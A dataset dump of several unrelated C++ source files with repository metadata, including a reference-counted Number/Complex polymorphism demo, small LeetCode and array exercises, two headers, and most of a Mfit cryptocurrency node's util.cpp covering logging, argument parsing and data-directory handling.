while (n > 1)
{
int temp = (n + 1) / 2;
if (temp % 2 == 0)
{
S.push(2);
n = (n - 1) / 2;;
}
else
{
S.push(1);
n = temp;
}
}
cout << S.size() << endl;
while (!S.empty())
{
int t = S.top();
S.pop();
cout << t << " ";
}
cout << endl;
return 0;
}
| [
"zjsxzy@gmail.com"
] | zjsxzy@gmail.com |
ca3bb99db163ff0a73f7cf6255da92916ff8909e | 8ded7c00ee602b557b31d09f8b1516597a9171aa | /cpp/delegated_polymorphism.cpp | 9117ba8f1ab3a763305a955718a9b3db9aaba2b6 | [] | no_license | mugur9/cpptruths | 1a8d6999392ed0d941147a5d5874dc387aecb34d | 87204023817e263017f64060353dd793f182c558 | refs/heads/master | 2020-12-04T17:00:20.550500 | 2019-09-06T15:40:30 | 2019-09-06T15:40:30 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,938 | cpp | #include <iostream>
using namespace std;
struct BaseConstructor { BaseConstructor(int=0) {} };
class RealNumber;
class Complex;
class Number;
class Number
{
friend class RealNumber;
friend class Complex;
public:
Number ();
Number & operator = (const Number &n);
Number (const Number &n);
virtual ~Number();
virtual Number operator + (Number const &n) const;
void swap (Number &n) throw ();
static Number makeReal (double r);
static Number makeComplex (double rpart, double ipart);
protected:
Number (BaseConstructor);
private:
void redefine (Number *n);
virtual Number complexAdd (Number const &n) const;
virtual Number realAdd (Number const &n) const;
Number *rep;
short referenceCount;
};
class Complex : public Number
{
friend class RealNumber;
friend class Number;
Complex (double d, double e);
Complex (const Complex &c);
virtual ~Complex ();
virtual Number operator + (Number const &n) const;
virtual Number realAdd (Number const &n) const;
virtual Number complexAdd (Number const &n) const;
double rpart, ipart;
};
class RealNumber : public Number
{
friend class Complex;
friend class Number;
RealNumber (double r);
RealNumber (const RealNumber &r);
virtual ~RealNumber ();
virtual Number operator + (Number const &n) const;
virtual Number realAdd (Number const &n) const;
virtual Number complexAdd (Number const &n) const;
double val;
};
/// Used only by the letters.
Number::Number (BaseConstructor)
: rep (0),
referenceCount (1)
{}
/// Used by user and static factory functions.
Number::Number ()
: rep (0),
referenceCount (0)
{}
/// Used by user and static factory functions.
Number::Number (const Number &n)
: rep (n.rep),
referenceCount (0)
{
cout << "Constructing a Number using Number::Number\n";
if (n.rep)
n.rep->referenceCount++;
}
Number Number::makeReal (double r)
{
Number n;
n.redefine (new RealNumber (r));
return n;
}
Number Number::makeComplex (double rpart, double ipart)
{
Number n;
n.redefine (new Complex (rpart, ipart));
return n;
}
Number::~Number()
{
if (rep && --rep->referenceCount == 0)
delete rep;
}
Number & Number::operator = (const Number &n)
{
cout << "Assigning a Number using Number::operator=\n";
Number temp (n);
this->swap (temp);
return *this;
}
void Number::swap (Number &n) throw ()
{
std::swap (this->rep, n.rep);
}
Number Number::operator + (Number const &n) const
{
return rep->operator + (n);
}
Number Number::complexAdd (Number const &n) const
{
return rep->complexAdd (n);
}
Number Number::realAdd (Number const &n) const
{
return rep->realAdd (n);
}
void Number::redefine (Number *n)
{
if (rep && --rep->referenceCount == 0)
delete rep;
rep = n;
}
Complex::Complex (double d, double e)
: Number (BaseConstructor()),
rpart (d),
ipart (e)
{
cout << "Constructing a Complex\n";
}
Complex::Complex (const Complex &c)
: Number (BaseConstructor()),
rpart (c.rpart),
ipart (c.ipart)
{
cout << "Constructing a Complex using Complex::Complex\n";
}
Complex::~Complex()
{
cout << "Inside Complex::~Complex()\n";
}
Number Complex::operator + (Number const &n) const
{
return n.complexAdd (*this);
}
Number Complex::realAdd (Number const &n) const
{
cout << "Complex::realAdd\n";
RealNumber const *rn = dynamic_cast <RealNumber const *> (&n);
return Number::makeComplex (this->rpart + rn->val,
this->ipart);
}
Number Complex::complexAdd (Number const &n) const
{
cout << "Complex::complexAdd\n";
Complex const *cn = dynamic_cast <Complex const *> (&n);
return Number::makeComplex (this->rpart + cn->rpart,
this->ipart + cn->ipart);
}
RealNumber::RealNumber (double r)
: Number (BaseConstructor()),
val (r)
{
cout << "Constructing a RealNumber\n";
}
RealNumber::RealNumber (const RealNumber &r)
: Number (BaseConstructor()),
val (r.val)
{
cout << "Constructing a RealNumber using RealNumber::RealNumber\n";
}
RealNumber::~RealNumber()
{
cout << "Inside RealNumber::~RealNumber()\n";
}
Number RealNumber::operator + (Number const &n) const
{
return n.realAdd (*this);
}
Number RealNumber::realAdd (Number const &n) const
{
cout << "RealNumber::realAdd\n";
RealNumber const *rn = dynamic_cast <RealNumber const *> (&n);
return Number::makeReal (this->val + rn->val);
}
Number RealNumber::complexAdd (Number const &n) const
{
cout << "RealNumber::complexAdd\n";
Complex const *cn = dynamic_cast <Complex const *> (&n);
return Number::makeComplex (this->val + cn->rpart, cn->ipart);
}
namespace std
{
template <>
void swap (Number & n1, Number & n2)
{
n1.swap (n2);
}
}
int main (void)
{
Number n1 = Number::makeComplex (1, 2);
Number n2 = Number::makeReal (10);
Number n3 = n1 + n2;
cout << "Finished\n";
return 0;
}
| [
"sutambe@5d8ea2c6-beef-6e74-2977-a7573b526670"
] | sutambe@5d8ea2c6-beef-6e74-2977-a7573b526670 |
7ef40d5f40e17cfb5459897fc754893a0a6ed3de | c79080d47ca30ba926b4c24e44c02f14a0e33a2e | /gr-data_sink/lib/USB_sink_impl.h | af0c5ddf8e16c9cf34a8edb026b5ccac92cd506f | [] | no_license | DanielRanis/ADS-B_GRC_Blocks | 2034b59cb27c5b30209f1440b6437354c89873c9 | dc838a9c6f1c4131641d65e66d1ab923d7a29b67 | refs/heads/master | 2020-12-23T08:00:52.632745 | 2020-01-29T22:14:47 | 2020-01-29T22:14:47 | 237,089,366 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,330 | h | /**
* @file USB_sink_impl.h
* @brief This file holds the class declaration of this block.
* @author Ranisavljevic Daniel
*/
#ifndef INCLUDED_DATA_SINK_USB_SINK_IMPL_H
#define INCLUDED_DATA_SINK_USB_SINK_IMPL_H
//Includes
#include <data_sink/USB_sink.h>
#include <libusb-1.0/libusb.h>
#include <unistd.h>
#include <stdio.h>
//Define
#define MAXLEN 512
#define PCKLEN 64
using namespace std;
namespace gr {
namespace data_sink {
/**
* @brief Class of the USB_sink block.
*/
class USB_sink_impl : public USB_sink
{
private:
int pID;
int vID;
float beta;
bool testUSB;
int mode;
int testmsg;
public:
//Constructor and Destructor
USB_sink_impl(const int vendorID, const int productID,bool test);
~USB_sink_impl();
//Function prototypes
int test_usb_port(void);
int usb_data_transfer(unsigned char *wdata,unsigned char *rdata, int package_length);
int printdev(libusb_device *dev);
int work(int noutput_items,
gr_vector_const_void_star &input_items,
gr_vector_void_star &output_items);
char* conv_to_ascii(const char* binstr,int blen);
};
} // namespace data_sink
} // namespace gr
#endif /* INCLUDED_DATA_SINK_USB_SINK_IMPL_H */
| [
"Daniel@localhost.localdomain"
] | Daniel@localhost.localdomain |
a40b8c2e76f59dfbe2f5f173935a7eb72bc8d29d | 2b80036db6f86012afcc7bc55431355fc3234058 | /src/cube/TracklistInfoView.hpp | b77a97e223355dc6213cd2d8a05f89cb1fa0d7d6 | [
"BSD-3-Clause"
] | permissive | leezhongshan/musikcube | d1e09cf263854bb16acbde707cb6c18b09a0189f | e7ca6a5515a5f5e8e499bbdd158e5cb406fda948 | refs/heads/master | 2021-01-15T11:45:29.512171 | 2011-02-25T14:09:21 | 2011-02-25T14:09:21 | null | 0 | 0 | null | null | null | null | WINDOWS-1252 | C++ | false | false | 2,909 | hpp | //////////////////////////////////////////////////////////////////////////////
//
// License Agreement:
//
// The following are Copyright © 2007, Casey Langen
//
// Sources and Binaries of: mC2, win32cpp
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// * Neither the name of the author nor the names of other contributors may
// be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
//////////////////////////////////////////////////////////////////////////////
#pragma once
//////////////////////////////////////////////////////////////////////////////
// Forward declare
namespace musik { namespace cube {
class TracklistController;
} }
namespace win32cpp{
class Label;
}
//////////////////////////////////////////////////////////////////////////////
#include <win32cpp/LinearLayout.hpp>
//////////////////////////////////////////////////////////////////////////////
using namespace win32cpp;
namespace musik { namespace cube {
//////////////////////////////////////////////////////////////////////////////
class TracklistInfoView: public LinearLayout
{
friend class TracklistController;
private: typedef LinearLayout base;
public: /*ctor*/ TracklistInfoView();
protected: virtual void OnCreated();
public: virtual void Layout();
private: Label *trackCountLabel, *durationLabel, *sizeLabel;
};
//////////////////////////////////////////////////////////////////////////////
} } // musik::cube
| [
"onnerby@6a861d04-ae47-0410-a6da-2d49beace72e"
] | onnerby@6a861d04-ae47-0410-a6da-2d49beace72e |
f6cbd03b579ea264a250be75bcb2ab01f6f93e10 | a95b504fcdd8be1abaea308a912bc93431469dd5 | /LeetCode100/LeetCode100/287_Find_the_duplicate_Number.cpp | 973decb5298bcd5e65566b252012e26977f523d3 | [] | no_license | chonJ/Learn | 2086c0111921991c599c78d8cecda7f958d683b1 | c1117c67dcd8bbaa46543d551d5f8b5b19795de2 | refs/heads/master | 2022-02-17T02:27:03.444703 | 2019-09-16T08:46:28 | 2019-09-16T08:46:28 | 162,438,290 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 893 | cpp | #include<iostream>
#include<vector>
#include<algorithm>
using namespace std;
class Solution {
public:
int findDuplicate__(vector<int>& nums) {
if (nums.size() <= 1)
return -1;
sort(nums.begin(), nums.end());
for (int i = 0; i < nums.size() - 1; ++i)
if (nums[i] == nums[i + 1])
return nums[i];
return -1;
}
//理解成链表 这就是链表找环的入口问题
int findDuplicate(vector<int>& nums) {
if (nums.size() > 1)
{
int slow = nums[0];
int fast = nums[nums[0]];
while (slow != fast)
{
slow = nums[slow];
fast = nums[nums[fast]];
}
fast = 0;
while (nums[fast] != nums[slow])
{
slow = nums[slow];
fast = nums[fast];
}
return nums[fast];
}
return -1;
}
};
void main_Find_the_duplicate_Number()
{
vector<int> nums = {1,3,4,2,2};
Solution so;
cout << so.findDuplicate(nums) << endl;
system("pause");
} | [
"jichong@bupt.edu.cn"
] | jichong@bupt.edu.cn |
d7e60c4aaa4f307b3ccd092dec2a2180e9db856e | e3c2ec8092c65ebf0ba1f33efd861ba1c4b8d2d6 | /01. Array/02_max-min-array.cpp | 9a8f7dfb3f2c00410c321a9e4598cf8608da8d56 | [] | no_license | roy044/Love-Babbar-450-DSA | a630ae34fa724a93173f8355927b5fd020064055 | 7c2df0a29204a3eb3bb096b67be43e8daa00839f | refs/heads/main | 2023-05-31T08:17:35.521776 | 2021-06-18T14:18:26 | 2021-06-18T14:18:26 | 375,061,927 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 553 | cpp | #include <iostream>
using namespace std;
int main()
{
int n, i = 0;
cout << "Enter the size of the array: ";
cin >> n;
int a[n];
cout << "Enter " << n << " elements of the array: ";
for (i = 0; i < n; i++)
{
cin >> a[i];
}
int maxnum = a[0], minnum = a[0];
for (i = 1; i < n; i++)
{
if (a[i] > maxnum)
maxnum = a[i];
if (a[i] < minnum)
maxnum = a[i];
}
cout << "Maximum : " << maxnum << endl;
cout << "Minimum : " << minnum << endl;
return 0;
}
| [
"noreply@github.com"
] | noreply@github.com |
1750694c7679a35790f756d17daaead30a7d13b4 | 527dc6d095a300ed4af75f01b8d8853136ed54b0 | /src/util.cpp | 747be98cfdc9c1d824851b5681383473b8e3660e | [
"MIT"
] | permissive | sergej07021977/muayfitcoin | 3d066e799c1b7c6e34c350ba0cac794fe303fd1c | 5e87a7302836ab84775677c33b815cadf896582a | refs/heads/master | 2020-04-14T23:55:51.757846 | 2018-10-08T16:06:36 | 2018-10-08T16:06:36 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 24,338 | cpp | // Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The PIVX developers
// Copyright (c) 2018 The Mfit developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include "config/mfit-config.h"
#endif
#include "util.h"
#include "allocators.h"
#include "chainparamsbase.h"
#include "random.h"
#include "serialize.h"
#include "sync.h"
#include "utilstrencodings.h"
#include "utiltime.h"
#include <stdarg.h>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <openssl/bio.h>
#include <openssl/buffer.h>
#include <openssl/crypto.h> // for OPENSSL_cleanse()
#include <openssl/evp.h>
#ifndef WIN32
// for posix_fallocate
#ifdef __linux__
#ifdef _POSIX_C_SOURCE
#undef _POSIX_C_SOURCE
#endif
#define _POSIX_C_SOURCE 200112L
#endif // __linux__
#include <algorithm>
#include <fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#else
#ifdef _MSC_VER
#pragma warning(disable : 4786)
#pragma warning(disable : 4804)
#pragma warning(disable : 4805)
#pragma warning(disable : 4717)
#endif
#ifdef _WIN32_WINNT
#undef _WIN32_WINNT
#endif
#define _WIN32_WINNT 0x0501
#ifdef _WIN32_IE
#undef _WIN32_IE
#endif
#define _WIN32_IE 0x0501
#define WIN32_LEAN_AND_MEAN 1
#ifndef NOMINMAX
#define NOMINMAX
#endif
#include <io.h> /* for _commit */
#include <shlobj.h>
#endif
#ifdef HAVE_SYS_PRCTL_H
#include <sys/prctl.h>
#endif
#include <boost/algorithm/string/case_conv.hpp> // for to_lower()
#include <boost/algorithm/string/join.hpp>
#include <boost/algorithm/string/predicate.hpp> // for startswith() and endswith()
#include <boost/filesystem.hpp>
#include <boost/filesystem/fstream.hpp>
#include <boost/foreach.hpp>
#include <boost/program_options/detail/config_file.hpp>
#include <boost/program_options/parsers.hpp>
#include <boost/thread.hpp>
#include <openssl/conf.h>
#include <openssl/crypto.h>
#include <openssl/rand.h>
// Work around clang compilation problem in Boost 1.46:
// /usr/include/boost/program_options/detail/config_file.hpp:163:17: error: call to function 'to_internal' that is neither visible in the template definition nor found by argument-dependent lookup
// See also: http://stackoverflow.com/questions/10020179/compilation-fail-in-boost-librairies-program-options
// http://clang.debian.net/status.php?version=3.0&key=CANNOT_FIND_FUNCTION
namespace boost
{
namespace program_options
{
std::string to_internal(const std::string&);
}
} // namespace boost
using namespace std;
//Mfit only features
bool fMasterNode = false;
string strMasterNodePrivKey = "";
string strMasterNodeAddr = "";
bool fLiteMode = false;
bool fEnableSwiftTX = true;
int nSwiftTXDepth = 5;
int nPrivateSendRounds = 2;
int nAnonymizeMfitAmount = 1000;
int nLiquidityProvider = 0;
/** Spork enforcement enabled time */
int64_t enforceMasternodePaymentsTime = 4085657524;
bool fSucessfullyLoaded = false;
bool fEnablePrivateSend = false;
/** All denominations used by privatesend */
std::vector<int64_t> obfuScationDenominations;
string strBudgetMode = "";
map<string, string> mapArgs;
map<string, vector<string> > mapMultiArgs;
bool fDebug = false;
bool fPrintToConsole = false;
bool fPrintToDebugLog = true;
bool fDaemon = false;
bool fServer = false;
string strMiscWarning;
bool fLogTimestamps = false;
bool fLogIPs = false;
volatile bool fReopenDebugLog = false;
/** Init OpenSSL library multithreading support */
static CCriticalSection** ppmutexOpenSSL;
void locking_callback(int mode, int i, const char* file, int line)
{
if (mode & CRYPTO_LOCK) {
ENTER_CRITICAL_SECTION(*ppmutexOpenSSL[i]);
} else {
LEAVE_CRITICAL_SECTION(*ppmutexOpenSSL[i]);
}
}
// Init
class CInit
{
public:
CInit()
{
// Init OpenSSL library multithreading support
ppmutexOpenSSL = (CCriticalSection**)OPENSSL_malloc(CRYPTO_num_locks() * sizeof(CCriticalSection*));
for (int i = 0; i < CRYPTO_num_locks(); i++)
ppmutexOpenSSL[i] = new CCriticalSection();
CRYPTO_set_locking_callback(locking_callback);
// OpenSSL can optionally load a config file which lists optional loadable modules and engines.
// We don't use them so we don't require the config. However some of our libs may call functions
// which attempt to load the config file, possibly resulting in an exit() or crash if it is missing
// or corrupt. Explicitly tell OpenSSL not to try to load the file. The result for our libs will be
// that the config appears to have been loaded and there are no modules/engines available.
OPENSSL_no_config();
#ifdef WIN32
// Seed OpenSSL PRNG with current contents of the screen
RAND_screen();
#endif
// Seed OpenSSL PRNG with performance counter
RandAddSeed();
}
~CInit()
{
// Securely erase the memory used by the PRNG
RAND_cleanup();
// Shutdown OpenSSL library multithreading support
CRYPTO_set_locking_callback(NULL);
for (int i = 0; i < CRYPTO_num_locks(); i++)
delete ppmutexOpenSSL[i];
OPENSSL_free(ppmutexOpenSSL);
}
} instance_of_cinit;
/**
* LogPrintf() has been broken a couple of times now
* by well-meaning people adding mutexes in the most straightforward way.
* It breaks because it may be called by global destructors during shutdown.
* Since the order of destruction of static/global objects is undefined,
* defining a mutex as a global object doesn't work (the mutex gets
* destroyed, and then some later destructor calls OutputDebugStringF,
* maybe indirectly, and you get a core dump at shutdown trying to lock
* the mutex).
*/
static boost::once_flag debugPrintInitFlag = BOOST_ONCE_INIT;
/**
* We use boost::call_once() to make sure these are initialized
* in a thread-safe manner the first time called:
*/
static FILE* fileout = NULL;
static boost::mutex* mutexDebugLog = NULL;
static void DebugPrintInit()
{
assert(fileout == NULL);
assert(mutexDebugLog == NULL);
boost::filesystem::path pathDebug = GetDataDir() / "debug.log";
fileout = fopen(pathDebug.string().c_str(), "a");
if (fileout) setbuf(fileout, NULL); // unbuffered
mutexDebugLog = new boost::mutex();
}
bool LogAcceptCategory(const char* category)
{
if (category != NULL) {
if (!fDebug)
return false;
// Give each thread quick access to -debug settings.
// This helps prevent issues debugging global destructors,
// where mapMultiArgs might be deleted before another
// global destructor calls LogPrint()
static boost::thread_specific_ptr<set<string> > ptrCategory;
if (ptrCategory.get() == NULL) {
const vector<string>& categories = mapMultiArgs["-debug"];
ptrCategory.reset(new set<string>(categories.begin(), categories.end()));
// thread_specific_ptr automatically deletes the set when the thread ends.
// "mfit" is a composite category enabling all Mfit-related debug output
if (ptrCategory->count(string("mfit"))) {
ptrCategory->insert(string("privatesend"));
ptrCategory->insert(string("swifttx"));
ptrCategory->insert(string("masternode"));
ptrCategory->insert(string("mnpayments"));
ptrCategory->insert(string("mnbudget"));
}
}
const set<string>& setCategories = *ptrCategory.get();
// if not debugging everything and not debugging specific category, LogPrint does nothing.
if (setCategories.count(string("")) == 0 &&
setCategories.count(string(category)) == 0)
return false;
}
return true;
}
int LogPrintStr(const std::string& str)
{
int ret = 0; // Returns total number of characters written
if (fPrintToConsole) {
// print to console
ret = fwrite(str.data(), 1, str.size(), stdout);
fflush(stdout);
} else if (fPrintToDebugLog && AreBaseParamsConfigured()) {
static bool fStartedNewLine = true;
boost::call_once(&DebugPrintInit, debugPrintInitFlag);
if (fileout == NULL)
return ret;
boost::mutex::scoped_lock scoped_lock(*mutexDebugLog);
// reopen the log file, if requested
if (fReopenDebugLog) {
fReopenDebugLog = false;
boost::filesystem::path pathDebug = GetDataDir() / "debug.log";
if (freopen(pathDebug.string().c_str(), "a", fileout) != NULL)
setbuf(fileout, NULL); // unbuffered
}
// Debug print useful for profiling
if (fLogTimestamps && fStartedNewLine)
ret += fprintf(fileout, "%s ", DateTimeStrFormat("%Y-%m-%d %H:%M:%S", GetTime()).c_str());
if (!str.empty() && str[str.size() - 1] == '\n')
fStartedNewLine = true;
else
fStartedNewLine = false;
ret = fwrite(str.data(), 1, str.size(), fileout);
}
return ret;
}
/** Interpret string as boolean, for argument parsing */
static bool InterpretBool(const std::string& strValue)
{
if (strValue.empty())
return true;
return (atoi(strValue) != 0);
}
/** Turn -noX into -X=0 */
static void InterpretNegativeSetting(std::string& strKey, std::string& strValue)
{
if (strKey.length()>3 && strKey[0]=='-' && strKey[1]=='n' && strKey[2]=='o') {
strKey = "-" + strKey.substr(3);
strValue = InterpretBool(strValue) ? "0" : "1";
}
}
void ParseParameters(int argc, const char* const argv[])
{
mapArgs.clear();
mapMultiArgs.clear();
for (int i = 1; i < argc; i++) {
std::string str(argv[i]);
std::string strValue;
size_t is_index = str.find('=');
if (is_index != std::string::npos) {
strValue = str.substr(is_index + 1);
str = str.substr(0, is_index);
}
#ifdef WIN32
boost::to_lower(str);
if (boost::algorithm::starts_with(str, "/"))
str = "-" + str.substr(1);
#endif
if (str[0] != '-')
break;
// Interpret --foo as -foo.
// If both --foo and -foo are set, the last takes effect.
if (str.length() > 1 && str[1] == '-')
str = str.substr(1);
InterpretNegativeSetting(str, strValue);
mapArgs[str] = strValue;
mapMultiArgs[str].push_back(strValue);
}
}
std::string GetArg(const std::string& strArg, const std::string& strDefault)
{
if (mapArgs.count(strArg))
return mapArgs[strArg];
return strDefault;
}
int64_t GetArg(const std::string& strArg, int64_t nDefault)
{
if (mapArgs.count(strArg))
return atoi64(mapArgs[strArg]);
return nDefault;
}
bool GetBoolArg(const std::string& strArg, bool fDefault)
{
if (mapArgs.count(strArg))
return InterpretBool(mapArgs[strArg]);
return fDefault;
}
bool SoftSetArg(const std::string& strArg, const std::string& strValue)
{
if (mapArgs.count(strArg))
return false;
mapArgs[strArg] = strValue;
return true;
}
bool SoftSetBoolArg(const std::string& strArg, bool fValue)
{
if (fValue)
return SoftSetArg(strArg, std::string("1"));
else
return SoftSetArg(strArg, std::string("0"));
}
static const int screenWidth = 79;
static const int optIndent = 2;
static const int msgIndent = 7;
std::string HelpMessageGroup(const std::string &message) {
return std::string(message) + std::string("\n\n");
}
std::string HelpMessageOpt(const std::string &option, const std::string &message) {
return std::string(optIndent,' ') + std::string(option) +
std::string("\n") + std::string(msgIndent,' ') +
FormatParagraph(message, screenWidth - msgIndent, msgIndent) +
std::string("\n\n");
}
static std::string FormatException(std::exception* pex, const char* pszThread)
{
#ifdef WIN32
char pszModule[MAX_PATH] = "";
GetModuleFileNameA(NULL, pszModule, sizeof(pszModule));
#else
const char* pszModule = "mfit";
#endif
if (pex)
return strprintf(
"EXCEPTION: %s \n%s \n%s in %s \n", typeid(*pex).name(), pex->what(), pszModule, pszThread);
else
return strprintf(
"UNKNOWN EXCEPTION \n%s in %s \n", pszModule, pszThread);
}
void PrintExceptionContinue(std::exception* pex, const char* pszThread)
{
std::string message = FormatException(pex, pszThread);
LogPrintf("\n\n************************\n%s\n", message);
fprintf(stderr, "\n\n************************\n%s\n", message.c_str());
strMiscWarning = message;
}
boost::filesystem::path GetDefaultDataDir()
{
namespace fs = boost::filesystem;
// Windows < Vista: C:\Documents and Settings\Username\Application Data\Mfit
// Windows >= Vista: C:\Users\Username\AppData\Roaming\Mfit
// Mac: ~/Library/Application Support/Mfit
// Unix: ~/.mfit
#ifdef WIN32
// Windows
return GetSpecialFolderPath(CSIDL_APPDATA) / "Mfit";
#else
fs::path pathRet;
char* pszHome = getenv("HOME");
if (pszHome == NULL || strlen(pszHome) == 0)
pathRet = fs::path("/");
else
pathRet = fs::path(pszHome);
#ifdef MAC_OSX
// Mac
pathRet /= "Library/Application Support";
TryCreateDirectory(pathRet);
return pathRet / "Mfit";
#else
// Unix
return pathRet / ".mfit";
#endif
#endif
}
static boost::filesystem::path pathCached;
static boost::filesystem::path pathCachedNetSpecific;
static CCriticalSection csPathCached;
const boost::filesystem::path& GetDataDir(bool fNetSpecific)
{
namespace fs = boost::filesystem;
LOCK(csPathCached);
fs::path& path = fNetSpecific ? pathCachedNetSpecific : pathCached;
// This can be called during exceptions by LogPrintf(), so we cache the
// value so we don't have to do memory allocations after that.
if (!path.empty())
return path;
if (mapArgs.count("-datadir")) {
path = fs::system_complete(mapArgs["-datadir"]);
if (!fs::is_directory(path)) {
path = "";
return path;
}
} else {
path = GetDefaultDataDir();
}
if (fNetSpecific)
path /= BaseParams().DataDir();
fs::create_directories(path);
return path;
}
void ClearDatadirCache()
{
pathCached = boost::filesystem::path();
pathCachedNetSpecific = boost::filesystem::path();
}
boost::filesystem::path GetConfigFile()
{
boost::filesystem::path pathConfigFile(GetArg("-conf", "mfit.conf"));
if (!pathConfigFile.is_complete())
pathConfigFile = GetDataDir(false) / pathConfigFile;
return pathConfigFile;
}
boost::filesystem::path GetMasternodeConfigFile()
{
boost::filesystem::path pathConfigFile(GetArg("-mnconf", "masternode.conf"));
if (!pathConfigFile.is_complete()) pathConfigFile = GetDataDir() / pathConfigFile;
return pathConfigFile;
}
void ReadConfigFile(map<string, string>& mapSettingsRet,
map<string, vector<string> >& mapMultiSettingsRet)
{
boost::filesystem::ifstream streamConfig(GetConfigFile());
if (!streamConfig.good()) {
// Create empty mfit.conf if it does not exist
FILE* configFile = fopen(GetConfigFile().string().c_str(), "a");
if (configFile != NULL)
fclose(configFile);
return; // Nothing to read, so just return
}
set<string> setOptions;
setOptions.insert("*");
for (boost::program_options::detail::config_file_iterator it(streamConfig, setOptions), end; it != end; ++it) {
// Don't overwrite existing settings so command line settings override mfit.conf
string strKey = string("-") + it->string_key;
string strValue = it->value[0];
InterpretNegativeSetting(strKey, strValue);
if (mapSettingsRet.count(strKey) == 0)
mapSettingsRet[strKey] = strValue;
mapMultiSettingsRet[strKey].push_back(strValue);
}
// If datadir is changed in .conf file:
ClearDatadirCache();
}
#ifndef WIN32
boost::filesystem::path GetPidFile()
{
boost::filesystem::path pathPidFile(GetArg("-pid", "mfitd.pid"));
if (!pathPidFile.is_complete()) pathPidFile = GetDataDir() / pathPidFile;
return pathPidFile;
}
void CreatePidFile(const boost::filesystem::path& path, pid_t pid)
{
FILE* file = fopen(path.string().c_str(), "w");
if (file) {
fprintf(file, "%d\n", pid);
fclose(file);
}
}
#endif
bool RenameOver(boost::filesystem::path src, boost::filesystem::path dest)
{
#ifdef WIN32
return MoveFileExA(src.string().c_str(), dest.string().c_str(),
MOVEFILE_REPLACE_EXISTING) != 0;
#else
int rc = std::rename(src.string().c_str(), dest.string().c_str());
return (rc == 0);
#endif /* WIN32 */
}
/**
* Ignores exceptions thrown by Boost's create_directory if the requested directory exists.
* Specifically handles case where path p exists, but it wasn't possible for the user to
* write to the parent directory.
*/
bool TryCreateDirectory(const boost::filesystem::path& p)
{
try {
return boost::filesystem::create_directory(p);
} catch (boost::filesystem::filesystem_error) {
if (!boost::filesystem::exists(p) || !boost::filesystem::is_directory(p))
throw;
}
// create_directory didn't create the directory, it had to have existed already
return false;
}
void FileCommit(FILE* fileout)
{
fflush(fileout); // harmless if redundantly called
#ifdef WIN32
HANDLE hFile = (HANDLE)_get_osfhandle(_fileno(fileout));
FlushFileBuffers(hFile);
#else
#if defined(__linux__) || defined(__NetBSD__)
fdatasync(fileno(fileout));
#elif defined(__APPLE__) && defined(F_FULLFSYNC)
fcntl(fileno(fileout), F_FULLFSYNC, 0);
#else
fsync(fileno(fileout));
#endif
#endif
}
bool TruncateFile(FILE* file, unsigned int length)
{
#if defined(WIN32)
return _chsize(_fileno(file), length) == 0;
#else
return ftruncate(fileno(file), length) == 0;
#endif
}
/**
* this function tries to raise the file descriptor limit to the requested number.
* It returns the actual file descriptor limit (which may be more or less than nMinFD)
*/
int RaiseFileDescriptorLimit(int nMinFD)
{
#if defined(WIN32)
return 2048;
#else
struct rlimit limitFD;
if (getrlimit(RLIMIT_NOFILE, &limitFD) != -1) {
if (limitFD.rlim_cur < (rlim_t)nMinFD) {
limitFD.rlim_cur = nMinFD;
if (limitFD.rlim_cur > limitFD.rlim_max)
limitFD.rlim_cur = limitFD.rlim_max;
setrlimit(RLIMIT_NOFILE, &limitFD);
getrlimit(RLIMIT_NOFILE, &limitFD);
}
return limitFD.rlim_cur;
}
return nMinFD; // getrlimit failed, assume it's fine
#endif
}
/**
* this function tries to make a particular range of a file allocated (corresponding to disk space)
* it is advisory, and the range specified in the arguments will never contain live data
*/
void AllocateFileRange(FILE* file, unsigned int offset, unsigned int length)
{
#if defined(WIN32)
// Windows-specific version
HANDLE hFile = (HANDLE)_get_osfhandle(_fileno(file));
LARGE_INTEGER nFileSize;
int64_t nEndPos = (int64_t)offset + length;
nFileSize.u.LowPart = nEndPos & 0xFFFFFFFF;
nFileSize.u.HighPart = nEndPos >> 32;
SetFilePointerEx(hFile, nFileSize, 0, FILE_BEGIN);
SetEndOfFile(hFile);
#elif defined(MAC_OSX)
// OSX specific version
fstore_t fst;
fst.fst_flags = F_ALLOCATECONTIG;
fst.fst_posmode = F_PEOFPOSMODE;
fst.fst_offset = 0;
fst.fst_length = (off_t)offset + length;
fst.fst_bytesalloc = 0;
if (fcntl(fileno(file), F_PREALLOCATE, &fst) == -1) {
fst.fst_flags = F_ALLOCATEALL;
fcntl(fileno(file), F_PREALLOCATE, &fst);
}
